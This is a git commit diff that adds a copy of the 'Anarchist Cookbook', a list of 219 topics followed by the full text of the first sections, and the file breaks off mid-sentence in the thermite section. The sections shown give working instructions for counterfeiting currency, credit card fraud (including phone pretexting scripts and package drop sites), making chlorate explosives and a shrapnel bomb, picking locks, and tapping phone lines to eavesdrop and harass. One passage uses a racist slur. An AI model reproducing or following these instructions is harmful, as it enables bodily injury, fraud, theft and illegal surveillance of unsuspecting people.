commit 7769924d646c3199d07a7884c255286312bce7c4 Author: Rita Graça Date: Wed Jun 26 12:48:31 2019 +0100 files diff --git a/anarchist_cookbook.txt b/anarchist_cookbook.txt new file mode 100644 index 0000000..2b99ebb --- /dev/null +++ b/anarchist_cookbook.txt @@ -0,0 +1,12158 @@ +ANARCHY COOKBOOK VERSION 2000 +Table of Contents +1.Counterfeiting Money +2.Credit Card Fraud +3.Making Plastic Explosives +4.Picking Master Locks +5.The Arts of Lockpicking I +6.The Arts of Lockpicking II +7.Solidox Bombs +8.High Tech Revenge: The Beigebox +9.CO Bombs +10.Thermite II Bombs +11.Touch Explosives +12.Letter Bombs +13.Paint Bombs +14.Ways to send a car to HELL +15.Do you hate school? +16.Phone related vandalism +17.Highway police radar jamming +18.Smoke Bombs +19.Mail Box Bombs +20.Hot-wiring cars +21.Napalm +22.Fertilizer Bomb +23.Tennis Ball Bomb +24.Diskette Bombs +25.Unlisted Phone Numbers +26.Fuses +27.How to make Potassium Nitrate +28.Exploding Light bulbs +29.Under water igniters +30.Home-brew blast cannon +31.Chemical Equivalency List +32.Phone Taps +33.Landmines +34.A different Molitov Cocktail +35.Phone Systems Tutorial I +36.Phone Systems Tutorial II +37.Basic Alliance Teleconferencing +38.Aqua Box Plans +39.Hindenberg Bomb +40.How to Kill Someone +41.Phone Systems Tutorial III +42.Black Box Plans +43.The Blotto Box +44.Blowgun +45.Brown Box Plans +46.Calcium Carbide Bomb +47.More Ways to Send a Car to Hell +48.Ripping off Change Machines +49.Clear Box Plans +50.CNA Number Listing +51.Electronic Terrorism +52.Start a Conf. w/o 2600hz or MF +53.Dynamite +54.Auto Exhaust Flame Thrower +55.How to Break into BBs Express +56.Firebomb +57.Fuse Bomb +58.Generic Bomb +59.Green Box Plans +60.Portable Grenade Launcher +61.Basic Hacking Tutorial I +62.Basic Hacking Tutorial II +63.Hacking DEC's +64.Harmless Bombs +65.Breaking into Houses +66.Hypnotism +67.Remote Informer Issue #1 +68.Jackpotting ATM Machines +69.Jug Bomb +70.Fun at K-Mart +71.Mace Substitute +72.How to Grow Marijuana +73.Match Head Bomb +74.Terrorizing McDonalds +75."Mentor's" Last Words +76.The Myth of the 2600hz Detector +77.Blue Box Plans +78.Napalm II +79.Nitroglycerin Recipe +80.Operation: Fuckup +81.Stealing Calls from Payphones +82.Pool Fun +83.Free Postage +84.Unstable Explosives +85.Weird Drugs +86.The Art of Carding +87.Recognizing Credit Cards +88.How to Get a New Identity +89.Remote Informer Issue #2 +90.Remote Informer Issue #3 +91.Remote Informer Issue #4 +92.Remote Informer Issue #5 +93.Phreaker's Guide to Loop Lines +94.Ma-Bell Tutorial +95.Getting Money out of Pay Phones +96.Computer-based PBX +97.PC-Pursuit Port Statistics +98.Pearl Box Plans +99.The Phreak File +100.Red Box Plans +101.RemObS +102.Scarlet Box Plans +103.Silver Box Plans +104.Bell Trashing +105.Canadian WATS Phonebook +106.Hacking TRW +107.Hacking VAX & UNIX +108.Verification Circuits +109.White Box Plans +110.The BLAST Box +111.Dealing with the R&R Operator +112.Cellular Phone Phreaking +113.Cheesebox Plans +114.Start Your Own Conferences +115.Gold Box Plans +116.The History of ESS +117.The Lunch Box +118.Olive Box Plans +119.The Tron Box +120.More TRW Info +121."Phreaker's Phunhouse" +122.Phrack Magazine-Vol. 3, Issue 27 +123.Phrack Magazine-Vol. 3, Issue 27 +124.Phrack Magazine-Vol. 3, Issue 28 +125.Phrack Magazine-Vol. 3, Issue 28 +126.Phrack Magazine-Vol. 3, Issue 28 +127.Phrack Magazine-Vol. 3, Issue 30 +128.Phrack Magazine-Vol. 3, Issue 30 +129.Phrack Magazine-Vol. 3, Issue 30 +130.Sodium Chlorate +131.Mercury Fulminate +132.Improvised Black Powder +133.Nitric Acid +134.Dust Bomb Instructions +135.Carbon-Tet Explosive +136.Making Picric Acid from Aspirin +137.Reclamation of RDX from C-4 +138.Egg-based Gelled Flame Fuels +139.Clothespin Switch +140.Flexible Plate Switch +141.Low Signature System [Silencers] +142.Delay Igniter From Cigarette +143.Nicotine +144.Dried Seed Timer +145.Nail Grenade +146.Bell Glossary +147.Phone Dial Locks -- Beat'em +148.Exchange Scanning +149.A Short History of Phreaking +150."Secrets of the Little Blue Box" +151.The History of British Phreaking +152."Bad as Shit" +153.Telenet +154.Fucking with the Operator +155.Phrack Magazine-Vol. 1, Issue 1 +156.International Country Codes List +157.Infinity Transmitter Plans +158.LSD +159.Bananas160.Yummy Marihuana Recipes +161.Peanuts +162.Chemical Fire Bottle +163.Igniter from Book Matches +164."Red or White Powder" Propellant +165.Pipe Hand Grenade +166.European Credit Card Fraud +167.Potassium Bomb +168.Your Legal Rights +169.Juvenile Offenders' Rights +170.Down The Road Missle +171.Fun With Shotgun Shells +172.Surveillance Equipment +173.Drip Timer +174.Stealing +175.Miscellaneous +176.Shaving cream bomb +177.Ripping off change machines II +178.Lockpicking the EASY way +179.Anarchy 'N' Explosives Prelude +180.Anarchy 'N' Explosives Vol. 1 +181.Anarchy 'N' Explosives Vol. 2 +182.Anarchy 'N' Explosives Vol. 3 +183.Anarchy 'N' Explosives Vol. 4 +184.Anarchy 'N' Explosives Vol. 5 +185.Explosives and Propellants +186.Lockpicking III +187.Chemical Equivalent List II +188.Nitroglycerin II +189.Cellulose Nitrate +190.Starter Explosives +191.Flash Powder +192.Exploding Pens +193.Revised Pipe Bombs +194.* SAFETY * A MUST READ! +195.Ammonium TriIodide +196.Sulfuric Acid & Amm. Nitrate III +197.Black Powder III +198.Nitrocellulose +199.RDX +200.The Black Gate BBS +201.ANFOS +202.Picric Acid II +203.Bottled Explosives +204.Dry Ice +205.Fuses / Ignitors / Delays +206.Film Canister Bombs +207.Book Bombs +208.Phone Bombs +209.Special Ammunition +210.Rocketry +211.Pipe Cannon II +212.Smoke Bombs +213.Firecrackers +214.Suppliers II +215.Lab-Raid Checklist +216.Misc Anarchy +217.Combo Locks II +218.Misc Anarchy II +219.Thermite IV +1. Counterfeiting Money by The Jolly Roger +Before reading this article, it would be a very good idea to get a book on photo offset printing, for this is the method used in counterfeiting US +currency. If you are familiar with this method of printing, counterfeiting should be a simple task for you. +Genuine currency is made by a process called "gravure", which involves etching a metal block. Since etching a metal block is impossible to do +by hand, photo offset printing comes into the process. +Photo offset printing starts by making negatives of the currency with a camera, and putting the negatives on a piece of masking material +(usually orange in color). The stripped negatives, commonly called "flats", are then exposed to a lithographic plate with an arc light plate maker. +The burned plates are then developed with the proper developing chemical. One at a time, these plates are wrapped around the plate cylinder +of the press. +The press to use should be an 11 by 14 offset, such as the AB Dick 360. Make 2 negatives of the portrait side of the bill, and 1 of the back +side. After developing them and letting them dry, take them to a light table. Using opaque on one of the portrait sides, touch out all the green, +which is the seal and the serial numbers. The back side does not require any retouching, because it is all +one color. Now, make sure all of the negatives are registered (lined up correctly) on the flats. By the way, every time you need another serial +number, shoot 1 negative of the portrait side, cut out the serial number, and remove the old serial number from the flat replacing it with the new +one. +Now you have all 3 flats, and each represents a different color: black, and 2 shades of green (the two shades of green are created by mixing +inks). Now you are ready to burn the plates. Take a lithographic plate and etch three marks on it. These marks must be 2 and 9/16 inches apart, +starting on one of the short edges. Do the same thing to 2 more plates. Then, take 1 of the flats and place it on the plate, exactly lining the short +edge up with the edge of the plate. Burn it, move it up to the next mark, and cover up the exposed area you have already burned. Burn that, +and do the same thing 2 more times, moving the flat up one more mark. Do the same process with the other 2 flats (each on a separate plate). +Develop all three plates. You should now have 4 images on each plate with an equal space between each bill. +The paper you will need will not match exactly, but it will do for most situations. The paper to use should have a 25% rag content. By the way, +Disaperf computer paper (invisible perforation) does the job well. Take the paper and load it into the press. Be sure to set the air, buckle, and +paper thickness right. Start with the black plate (the plate without the serial numbers). Wrap it around the cylinder and load black ink in. Make +sure you run more than you need because there will be a lot of rejects. Then, while that is printing, mix the inks for the serial numbers and the +back side. You will need to add some white and maybe yellow to the serial number ink. You also need to add black to the back side. Experiment +until you get it right. Now, clean the press and print the other side. You will now have a bill with no green seal or serial numbers. Print a few +with one serial number, make another and repeat. Keep doing this until you have as many different numbers as you want. Then cut the bills to +the exact size with a paper cutter. You should have printed a large amount of money by now, but there is still one problem; the paper is pure +white. To dye it, mix the following in a pan: 2 cups of hot water, 4 tea bags, and about 16 to 20 drops of green food coloring (experiment with +this). Dip one of the bills in and compare it to a genuine US bill. Make the necessary adjustments, and dye all the bills. Also, it is a good idea to +make them look used. For example, wrinkle them, rub coffee grinds on them, etc. +As before mentioned, unless you are familiar with photo offset printing, most of the information in this article will be fairly hard to understand. +Along with getting a book on photo offset printing, try to see the movie "To Live and Die in LA". It is about a counterfeiter, and the producer +does a pretty good job of showing how to counterfeit. A good book on the subject is "The Poor Man's James Bond". +If all of this seems too complicated to you, there is one other method available for counterfeiting: The Canon color laser copier. The Canon can +replicate ANYTHING in vibrant color, including US currency. But, once again, the main problem in counterfeiting is the paper used. So, +experiment, and good luck! +2. Credit Card Fraud by The Jolly Roger +For most of you out there, money is hard to come by. Until now: +With the recent advent of plastic money (credit cards), it is easy to use someone else's credit card to order the items you have always desired +in life. The stakes are high, but the payoff is worth it. +Step One: Getting the credit card information +First off, you must obtain the crucial item: someone's credit card number. The best way to get credit card numbers is to take the blue carbons +used in a credit card transaction at your local department store. These can usually be found in the garbage can next to the register, or for the +more daring, in the garbage dumpster behind the store. But, due to the large amount of credit card fraud, many stores have opted to use a +carbonless transaction sheet, making things much more difficult. This is where your phone comes in handy. +First, look up someone in the phone book, and obtain as much information as possible about them. Then, during business hours, call in a very +convincing voice - "Hello, this is John Doe from the Visa Credit Card Fraud Investigations Department. We have been informed that your credit +card may have been used for fraudulent purposes, so will you please read off the numbers appearing on your Visa card for verification." Of +course, use your imagination! Believe it or not, many people will fall for this ploy and give out their credit information. +Now, assuming that you have your victim's credit card number, you should be able to decipher the information given. +Step Two: Recognizing information from carbon copies +Card example: +[American Express] +XXXX XXXXXX XXXXX +MM/Y1 THRU MM/Y2 +JOE SHMOE +Explanation: +MM/Y1 is the date the card was issued, and MM/Y2 is the expiration date. The American Express Gold Card has numbers XXXXXX XXXXXXXX +XXXXXXXX, and is covered for up to $5000.00, even if the card holder is broke. +[Mastercard] +5XXX XXXX XXXX XXXX +XXXX AAA DD-MM-YY MM/YY +JOE SHMOE +Explanation: +XXXX in the second row may be asked for during the ordering process. The first date is when the card was new, and the second is when the +card expires. The most frequent number combination used is 5424 1800 XXXX XXXX. There are many of these cards in circulation, but many of +these are on wanted lists, so check these first. +[Visa] +4XXX XXX(X) XXX(X) XXX(X) +MM/YY MM/YY*VISA +JOE SHMOE +Explanation: +Visa is the most abundant card, and is accepted almost everywhere. The "*VISA" is sometimes replaced with "BWG", or followed with a +special code. These codes are as follows: +[1] MM/YY*VISA V - Preferred Card +[2] MM/YY*VISA CV - Classic Card +[3] MM/YY*VISA PV - Premier Card +Preferred Cards are backed with money, and are much safer to use. Classic Cards are newer, harder to reproduce cards with decent +backing. Premier Cards are Classic Cards with Preferred coverage. Common numbers are 4448 020 XXX XXX, 4254 5123 6000 XXXX, and +4254 5123 8500 XXXX. Any 4712 1250 XXXX XXXX cards are IBM Credit Union cards, and are risky to use, although they are usually covered +for large purchases. +Step Three: Testing credit +You should now have a Visa, Mastercard, or American Express credit card number, with the victim's address, zip code, and phone number. +By the way, if you have problems getting the address, most phone companies offer the Address Tracking Service, which is a special number +you call that will give you an address from a +phone number, at a nominal charge. Now you need to check the balance of credit on the credit card (to make sure you don't run out of money), +and you must also make sure that the card isn't stolen. To do this you must obtain a phone number that businesses use to check out credit +cards during purchases. If you go to a department store, watch the cashier when someone makes a credit card purchase. He/she will usually +call a phone number, give the credit information, and then give what is called a "Merchant Number". These numbers are usually written down +on or around the register. It is easy to either find these numbers and copy them, or to wait until they call one in. Watch what they dial and wait +for the 8 digit (usually) merchant number. Once you call the number, in a calm voice, read off the account number, merchant number, amount, +and expiration date. The credit bureau will tell you if it is OK, and will give you an authorization number. Pretend you are writing this number +down, and repeat it back to them to check it. Ignore this number completely, for it serves no real purpose. However, once you do this, the bank +removes dollars equal to what you told them, because the card was supposedly used to make a purchase. Sometimes you can trick the +operator by telling her the customer changed his mind and decided not to charge it. Of course, some will not allow this. Remember at all times +that you are supposed to be a store clerk calling to check out the card for a purchase. Act like you are talking with a customer when he/she +"cancels". +Step Four: The drop +Once the cards are cleared, you must find a place to have the package sent. NEVER use a drop more than once. The following are typical drop +sites: +[1] An empty house +An empty house makes an excellent place to send things. Send the package UPS, and leave a note on the door saying, "UPS. I work days, 8 to +6. Could you please leave the package on the back door step?" You can find dozens of houses from a real estate agent by telling them you +want to look around for a house. Ask for a list of twenty houses for sale, and tell them you will check out the area. Do so, until you find one +that suits your needs. +[2] Rent A Spot +U-Haul sometimes rents spaces where you can have packages sent and signed for. End your space when the package arrives. +[3] People's houses +Find someone you do not know, and have the package sent there. Call ahead saying that "I called the store and they sent the package to the +wrong address. It was already sent, but can you keep it there for me?" This is a very reliable way if you keep calm when talking to the people. +Do NOT try post office boxes. Most of the time, UPS will not deliver to a post office box, and many people have been caught in the past +attempting to use a post office box. Also, when you have determined a drop site, keep an eye on it for suspicious characters and cars that +have not been there before. +Step Five: Making the transaction +You should now have a reliable credit card number with all the necessary billing information, and a good drop site. +The best place to order from is catalogues, and mail order houses. It is in your best interest to place the phone call from a pay phone, +especially if it is a 1-800 number. Now, when you call, don't try to disguise your voice, thinking you will trick the salesperson into believing you +are an adult. These folks are trained to detect this, so your best bet is to order in your own voice. They will ask for the following: name, name +as it appears on card, phone number, billing address, expiration date, method of shipping, and product. Ask if they offer UPS Red shipping +(next day arrival), because it gives them less time to research an order. If you are using American Express, you might have a bit of a problem +shipping to an address other than the billing address. Also, if the salesperson starts to ask questions, do NOT hang up. Simply talk your way +out of the situation, so you won't encourage investigation on the order. +If everything goes right, you should have the product, free of charge. Insurance picks up the tab, and no one is any wiser. Be careful, and try +not to order anything over $500. In some states, UPS requires a signature for anything over $200, not to mention that anything over $200 is +defined as grand theft, as well as credit fraud. Get caught doing this, and you will bite it for a couple of years. Good luck! +3. Making Plastic Explosives from Bleach by The Jolly Roger +Potassium chlorate is an extremely volatile explosive compound, and has been used in the past as the main explosive filler in grenades, land +mines, and mortar rounds by such countries as France and Germany. Common household bleach contains a small amount of potassium +chlorate, which can be extracted by the procedure that follows. +First off, you must obtain: +1.A heat source (hot plate, stove, etc.) +2.A hydrometer, or battery hydrometer +3.A large Pyrex, or enameled steel container (to weigh chemicals) +4.Potassium chloride(sold as a salt substitute at health and nutrition stores) +Take one gallon of bleach, place it in the container, and begin heating it. While this solution heats, weigh out 63 grams of potassium chloride and +add this to the bleach being heated. Constantly check the solution being heated with the hydrometer, and boil until you get a reading of 1.3. If +using a battery hydrometer, boil until you read a FULL charge. +Take the solution and allow it to cool in a refrigerator until it is between room temperature and 0�C. Filter out the crystals that have formed and +save them. Boil this solution again and cool as before. Filter and save the crystals. +Take the crystals that have been saved, and mix them with distilled water in the following proportions: 56 grams per 100 milliliters distilled +water. Heat this solution until it boils and allow to cool. Filter the solution and save the crystals that form upon cooling. This process of +purification is called "fractional crystallization". These crystals should be relatively pure potassium chlorate. +Powder these to the consistency of face powder, and heat gently to drive off all moisture. +Now, melt five parts Vaseline with five parts wax. Dissolve this in white gasoline (camp stove gasoline), and pour this liquid on 90 parts +potassium chlorate (the powdered crystals from above) into a plastic bowl. Knead this liquid into the potassium chlorate until intimately mixed. +Allow all gasoline to evaporate. +Finally, place this explosive into a cool, dry place. Avoid friction, sulfur, sulfides, and phosphorous compounds. This explosive is best molded +to the desired shape and density of 1.3 grams in a cube and dipped in wax until water proof. These block type charges guarantee the highest +detonation velocity. Also, a blasting cap of at least a 3 grade must be used. +The presence of the afore mentioned compounds (sulfur, sulfides, etc.) results in mixtures that are or can become highly sensitive and will +possibly decompose explosively while in storage. You should never store homemade explosives, and you must use EXTREME caution at all +times while performing the processes in this +article. +You may obtain a catalog of other subject of this nature by writing: +Information Publishing Co. +Box 10042 +Odessa, Texas 79762 +4. Picking Master Locks by The Jolly Roger +Have you ever tried to impress someone by picking one of those Master combination locks and failed? +The Master lock company made their older combination locks with a protection scheme. If you pull the handle too hard, the knob will not turn. +That was their biggest mistake. +The first number: +Get out any of the Master locks so you know what is going on. While pulling on the clasp (part that springs open when you get the combination +right), turn the knob to the left until it will not move any more, and add five to the number you reach. You now have the first number of the +combination. +The second number: +Spin the dial around a couple of times, then go to the first number you got. Turn the dial to the right, bypassing the first number once. When you +have bypassed the first number, start pulling on the clasp and turning the knob. The knob will eventually fall into the groove and lock. While in +the groove, pull the clasp and turn the knob. If the knob is loose, go to the next groove, if the knob is stiff, you have the second number of the +combination. +The third number: +After getting the second number, spin the dial, then enter the two numbers. Slowly spin the dial to the right, and at each number, pull on the +clasp. The lock will eventually open if you did the process right. +This method of opening Master locks only works on older models. Someone informed Master of their mistake, and they employed a new +mechanism that is foolproof (for now). +5. The Arts of Lockpicking I by The Jolly Roger +Lockpicking I: Cars and assorted other locks +While the basic themes of lockpicking and uninvited entry have not changed much in the last few years, some modern devices and techniques +have appeared on the scene. +Automobiles: +Many older automobiles can still be opened with a Slim Jim type of opener (these and other auto locksmithing techniques are covered fully in +the book "In the Still of the Night", by John Russell III); however, many car manufacturers have built cases over the lock mechanism, or have +moved the lock mechanism so the Slim Jim will not work. So: +American Locksmith Service +P.O. Box 26 +Culver City, CA 90230 +ALS offers a new and improved Slim Jim that is 30 inches long and 3/4 inches wide, so it will both reach and slip through the new car lock +covers (inside the door). Price is $5.75 plus $2.00 postage and handling. +Cars manufactured by General Motors have always been a bane to people who needed to open them, because the sidebar locking unit they +employ is very difficult to pick. To further complicate matters, the new GM cars employ metal shields to make the use of a Slim Jim type +instrument very difficult. So: +Lock Technology Corporation +685 Main St. +New Rochelle, NY 10801 +LTC offers a cute little tool which will easily remove the lock cylinder without harm to the vehicle, and will allow you to enter and/or start the +vehicle. The GMC-40 sells for $56.00 plus $2.00 for postage and handling. +The best general automobile opening kit is probably a set of lockout tools offered by: +Steck MFG Corporation +1319 W. Stewart St. +Dayton, OH 45408 +For $29.95 one can purchase a complete set of six carbon lockout tools that will open more than 95% of all the cars around. +Kwickset locks have bec ome quite popular as one step security locks for many types of buildings. They are a bit harder to pick and offer a +higher degree of security than a normal builder installed door lock. So: +A MFG +1151 Wallace St. +Massilon, OH 44646 +Price is $11.95. Kwickset locks can handily be disassembled and the door opened without harm to either the lock or the door by using the +above mentioned Kwick Out tool. +If you are too lazy to pick auto locks: +Veehof Supply +Box 361 +Storm Lake, IO 50588 +VS sells tryout keys for most cars (tryout keys are used since there is no one master key for any one make of car, but there are group type +masters (a.k.a. tryout keys). Prices average about $20.00 a set. +Updated Lockpicking: +For years, there have been a number of pick attack procedures for most pin and tumbler lock systems. In reverse order of ease they are as +follows: +Normal Picking: +Using a pick set to align the pins, one by one, until the shear line is set and the lock opens. +Racking: +This method uses picks that are constructed with a series of bumps, or diamond shape notches. These picks are "raked" (i.e. run over all the +pins at one time). With luck, the pins will raise in the open position and stay there. Raking, if successful, can be much less of an effort than +standard picking. +Lock Aid Gun: +This gun shaped device was invented a number of years ago and has found application with many locksmiths and security personnel. +Basically, a needle shaped pick is inserted in the snout of the "gun", and the "trigger" is pulled. This action snaps the pick up and down +strongly. If the tip is slipped under the pins, they will also be snapped up and down strongly. With a bit of luck they will strike each other and +separate at the shear line for a split second. When this happens the lock will open. The lock aid gun is not 100% successful, but when it does +work, the results are very dramatic. You can sometimes open the lock with one snap of the trigger. +Vibrator: +Some crafty people have mounted a needle pick into an electric toothbrush power unit. This vibrating effect will sometimes open pin tumbler +locks -- instantly. +There is now another method to open pin and wafer locks in a very short time. Although it resembles a toothbrush pick in appearance, it is +actually an electronic device. I am speaking of the Cobra pick that is designed and sold by: +Fed Corporation +P.O. Box 569 +Scottsdale, AR 85252 +The Cobra uses two nine volt batteries, teflon bearings (for less noise), and a cam roller. It comes with three picks (for different types of +locks) and works both in America and overseas, on pin or wafer locks. The Cobra will open group one locks (common door locks) in three to +seven seconds with no damage, in the hands of an experienced locksmith. It can take a few seconds more or up to a half a minute for +someone with no experience at all. It will also open group two locks (including government, high security, and medicos), although this can take +a short time longer. It will not open GM sidebar locks, although a device is about to be introduced to fill that gap. How much for this toy that will +open most locks in seven seconds? +$235.00 plus $4.00 shipping and handling. +For you hard core safe crackers, FC also sells the MI-6 that will open most safes at a cost of $10,000 for the three wheel attack model, and +$10,500 for the four wheel model. It comes in a sturdy aluminum carrying case with monitor, disk drive and software. +If none of these safe and sane ideas appeal to you, you can always fall back on the magic thermal lance... +The thermal lance is a rather crude instrument constructed from 3/8 inch hollow magnesium rods. Each tube comes in a 10 foot length, but can +be cut down if desired. Each one is threaded on one end. To use the lance, you screw the tube together with a matted regulator (like a welding +outfit uses) and hook up an oxygen tank. Then oxygen is turned on and the rod is lit with a standard welding igniter. The device produces an +incredible amount of heat. It is used for cutting up concrete blocks or even rocks. An active lance will go through a foot of steel in a few +seconds. The lance is also known as a burning bar, and is available from: +C.O.L. MFG +7748 W. Addison +Chicago, IL 60634 +6. The Arts of Lockpicking II by The Jolly Roger +So you want to be a criminal. Well, if you want to be like James Bond and open a lock in fifteen seconds, then go to Hollywood, because that is +the only place you are ever going to do it. Even experienced locksmiths can spend five to ten minutes on a lock if they are unlucky. If you are +wanting extremely quick access, look elsewhere. The following instructions will pertain mostly to the "lock in knob" type lock, since it is the +easiest to pick. +First of all, you need a pick set. If you know a locksmith, get him to make you a set. This will be the best possible set for you to use. If you find +a locksmith unwilling to supply a set, don't give up hope. It is possible to make your own, if you have access to a grinder (you can use a file, +but it takes forever). +The thing you need is an allen wrench set (very small). These should be small enough to fit into the keyhole slot. Now, bend the long end of the +allen wrench at a slight angle (not 90�). Now, take your pick to a grinder or a file, and smooth the end until it is rounded so it won't hang inside +the lock. Test your tool out on doorknobs at your house to see if it will slide in and out smoothly. Now, this is where the screwdriver comes in. +It must be small enough for it and your pick to be used in the same lock at the same time, one above the other. In the coming instructions, please +refer to this chart of the interior of a lock: +______________________________ +\ K +| | | | | | / E +| | | | \ Y [|] Upper tumbler pin +^ ^ / H [^] Lower tumbler pin +^ ^ ^ ^ ^ ^ \ O [-] Cylinder wall +/ L (This is a greatly simplified +\ E drawing) +______________________________/ +The object is to press the pin up so that the space between the upper pin and the lower pin is level with the cylinder wall. Now, if you push a +pin up, it's tendency is to fall back down, right? That is where the screwdriver comes in. Insert the screwdriver into the slot and turn. This +tension will keep the "solved" pins from falling back down. Now, work from the back of the lock to the front, and when you are through, there +will be a click, the screwdriver will turn freely, and the door will open. +Do not get discouraged on your first try! It will probably take you about twenty to thirty minutes your first time. After that, you will quickly +improve with practice. +7. Solidox Bombs by The Jolly Roger +Most people are not aware that a volatile, extremely explosive chemical can be bought over the counter: Solidox. +Solidox comes in an aluminum can containing 6 grey sticks, and can be bought at K-Mart, and various hardware supply shops for around +$7.00. Solidox is used in welding applications as an oxidizing agent for the hot flame needed to melt metal. The most active ingredient in Solidox +is potassium chlorate, a filler used in many military applications in the WWII era. +Since Solidox is literally what the name says: SOLID OXygen, you must have an energy source for an explosion. The most common and readily +available energy source is common household sugar, or sucrose. In theory, glucose would be the purest energy source, but it is hard to find a +solid supply of glucose. +Making the mixture: +1.Open the can of Solidox, and remove all 6 sticks. One by one, grind up each of the sticks (preferably with a mortar and pestle) into the finest +powder possible. +2.The ratio for mixing the sugar with the Solidox is 1:1, so weigh the Solidox powder, and grind up the equivalent amount of sugar. +3.Mix equivalent amounts of Solidox powder, and sugar in a 1:1 ratio. +It is just that simple! You now have an extremely powerful substance that can be used in a variety of applications. A word of caution: be +EXTREMELY careful in the entire process. Avoid friction, heat, and flame. A few years back, a teenager I knew blew 4 fingers off while trying +to make a pipe bomb with Solidox. You have been warned! +8. High Tech Revenge: The Beigebox - Rev.2 by The Jolly Roger +I. Introduction +Have you ever wanted a lineman's handset? Surely every phreak has at least once considered the phun that he could have with one. After +searching unlocked phone company trucks for months, we had an idea. We could build one. We did, and named it the "Beige Box" simply +because that is the color of ours. +The beigebox is simply a consumer lineman's handset, which is a phone that can be attached to the outside of a person's house. To fabricate a +beigebox, follow along. +II. Construction and Use +The construction is very simple. First you must understand the concept of the device. In a modular jack, there are four wires. These are red, +green, yellow, and black. For a single line telephone, however, only two matter: the red (ring) and green (tip). The yellow and the black are not +necessary for this project. A lineman's handset has two clips on it: the ring and the tip. Take a modular jack and look at the bottom of it's casing. +There should be a grey jack with four wires (red, green, yellow & black) leading out of it. To the end of the red wire attach a red alligator clip. +To the end of the green wire attach a green alligator clip. The yellow and black wires can be removed, although I would only set them aside so +that you can use the modular jack in future projects. Now insert your telephone's modular plug into the modular jack. That's it. This particular +model is nice because it is can be easily made, is inexpensive, uses common parts that are readily available, is small, is lightweight, and does +not require the destruction of a phone. +III. Beige Box Uses +There are many uses for a Beige Box. However, before you can use it, you must know how to attach it to the output device. This device can +be of any of Bell switching apparatus that include germinal sets (i.e. remote switching centers, bridgin heads, cans, etc.) To open most Bell +Telephone switching apparatus, you must have a 7/16 inch hex driver (or a good pair of needle nose pliers work also). This piece of equipment +can be picked up at your local hardware store. With your hex driver (or pliers), turn the security bolt(s) approximately 1/8 of an inch counterclockwise +and open. If your output device is locked, then you must have some knowledge of destroying and/or picking locks. However, we +have never encountered a locked output device. Once you have opened your output device, you should see a mass of wires connected to +terminals. On most output devices, the terminals should be labeled "T" (Tip -- if not labeled, it is usually on the left) and "R" (Ring -- if not labeled, +usually on the right). +Remember: Ring - red - right. The "Three R's" -- a simple way to remember which is which. Now you must attach all the red alligator clip (Ring) +to the "R" (Ring) terminal. Attach the green alligator clip (Tip) to the "T" (Tip) terminal. +Note: If instead of a dial tone you hear nothing, adjust the alligator clips so that they are not touching each other terminals. Also make sure they +are firmly attached. By this time you should hear a dial tone. Dial ANI to find out the number you are using (you wouldn't want to use your +own). Here are some practical applications: + Eavesdropping + Long distance, static free, free fone calls to phriends + Dialing direct to Alliance Teleconferencing (also no static) + Phucking people over + Bothering the operator at little risk to yourself + Blue Boxing with greatly reduced chance of getting caught + Anything at all you want, since you are on an extension of that line +Eavesdropping +To be most effective, first attach the Beige Box then your phone. This eliminates the static caused by connecting the box, therefore reducing +the potential suspicion of your victim. When eavesdropping, it is always best to be neither seen nor heard. If you hear someone dialing out, do +not panic; but rather hang up, wait, and pick up the receiver again. The person will either have hung up or tried to complete their call again. If +the latter is true, then listen in, and perhaps you will find information worthy of blackmail! If you would like to know who you are listening to, +after dialing ANI, pull a CN/A on the number. +Dialing Long Distance +This section is self explanatory, but don't forget to dial a "1" before the NPA. +Dialing Direct to Alliance Teleconferencing +Simply dial 0-700-456-1000 and you will get instructions from there. I prefer this method over PBX's, since PBX's often have poor reception and +are more difficult to come by. +Phucking People Over +This is a very large topic of discussion. Just by using the other topics described, you can create a large phone bill for the person (they will not +have to pay for it, but it will be a big hassle for them). In addition, since you are an extension of the person's line, you can leave your phone off +the hook, and they will not be able to make or receive calls. This can be extremely nasty because no one would expect the cause of the +problem. +Bothering the Operator +This is also self explanatory and can provide hours of entertainment. Simply ask her things that are offensive or you would not like traced to +your line. This also corresponds to the previously described section, Phucking People Over. After all, guess who's line it gets traced to? +Blue Boxing +See a file on Blue Boxing for more details. This is an especially nice feature if you live in an ESS-equipped prefix, since the calls are, once +again, not traced to your line... +IV. POTENTIAL RISKS OF BEIGE BOXING +Overuse of the Beige Box may cause suspicions within the Gestapo, and result in legal problems. Therefor, I would recommend you: + Choose a secluded spot to do your Beige Boxing, + Use more than one output device + Keep a low profile (i.e., do not post under your real name on a public BBS concerning your accomplishments) +In order to make sure the enemy has not been inside your output device, I recommend you place a piece of transparent tape over the opening +of your output device. Therefor, if it is opened in your absence, the tape will be displaced and you will be aware of the fact that someone has +intruded on your territory. +Now, imagine the possibilities: a $2000 dollar phone bill for that special person, 976 numbers galore, even harassing the operator at no risk to +you! Think of it as walking into an enemies house, and using their phone to your heart's content. +9. How to make a CO bomb by the Jolly Roger +You will have to use up the cartridge first by either shooting it or whatever. With a nail, force a hole bigger so as to allow the powder and wick +to fit in easily. Fill the cartridge with black powder and pack it in there real good by tapping the bottom of the cartridge on a hard surface (I said +TAP not SLAM!). Insert a fuse. I recommend a good water-proof cannon fuse, or an m-80 type fuse, +but firecracker fuses work, if you can run like a black man runs from the cops after raping a white girl.) Now, light it and run like hell! It does +wonders for a row of mailboxes (like the ones in apartment complexes), a car (place under the gas tank), a picture window (place on window +sill), a phone booth (place right under the phone), or any other devious place. This thing throws shrapnel, and can make quit a mess!! +10. Thermite II by Jolly Roger +Thermite is nasty shit. Here is a good and easy way to make it. The first step is to get some iron-oxide (which is RUST!). Here is a good way to +make large quantities in a short time: + Get a DC converter like the one used on a train set. Cut the connector off, separate the wires, and strip them both. + Now you need a jar of water with a tablespoon or so of sodium chloride (which is SALT!) added to it. This makes the water conductive. + Now insert both wires into the mixture (I am assuming you plugged the converter in...) and let them sit for five minutes. One of them will +start bubbling more than the other. This is the POSITIVE(+) wire. If you do not do this test right, the final product will be the opposite +(chemically) of rust, which is RUST ACID. You have no use for this here (although it IS useful!). + Anyway, put the nail tied to the positive wire into the jar. Now put the negative wire in the other end. Now let it sit overnight and in the +morning scrape the rust off of the nail & repeat until you got a bunch of rust on the bottom of the glass. Be generous with your rust +collection. If you are going through the trouble of making thermite, you might as well make a lot, right? + Now remove the excess water and pour the crusty solution onto a cookie sheet. Dry it in the sun for a few hours, or inside overnight. It +should be an orange-brown color (although I have seen it in many different colors! Sometimes the color gets fucked up, what can I say... +but it is still iron oxide!) + Crush the rust into a fine powder and heat it in a cast-iron pot until it is red. Now mix the pure iron oxide with pure aluminum filings which +can be bought or filed down by 